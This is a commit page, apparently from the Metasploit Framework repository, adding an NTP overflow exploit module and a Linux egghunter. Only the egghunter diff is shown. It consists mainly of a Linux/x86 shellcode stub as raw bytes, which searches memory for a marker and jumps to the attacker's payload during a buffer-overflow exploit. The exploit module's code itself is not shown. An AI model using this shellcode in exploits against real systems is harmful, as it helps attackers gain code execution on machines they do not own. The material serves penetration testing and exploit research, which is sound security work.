Changeset 5502

Timestamp:

05/12/08 09:49:45 (5 months ago)

Author:

patrickw

Message:

Added ntp module, linux egghunter

Files:

• framework3/trunk/lib/rex/exploitation/egghunter.rb (modified) (1 diff)
• framework3/trunk/modules/exploits/multi/ntp (added)
• framework3/trunk/modules/exploits/multi/ntp/ntp_overflow.rb (added)

framework3/trunk/lib/rex/exploitation/egghunter.rb

@@ -42 +42 @@
-                        end
-        
+                end
+        end
+        
+        ###
+        #
+        # Linux-based egghunters
+        #
+        ###
+        module Linux
+                Alias = "linux"
+
+                module X86
+                        Alias = ARCH_X86
+
+                        #
+                        # The egg hunter stub for linux/x86.
+                        #
+                        def hunter_stub
+                                {
+                                        'Stub' => 
+                                                "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
+                                                "\x3c\xf2\x74\xf1\xb8" +
+                                                "\x41\x41\x41\x41" +
+                                                "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7",
+                                        'EggSize'   => 4,
+                                        'EggOffset' => 0x11
+                                }
+                        end
+
-                end
-        end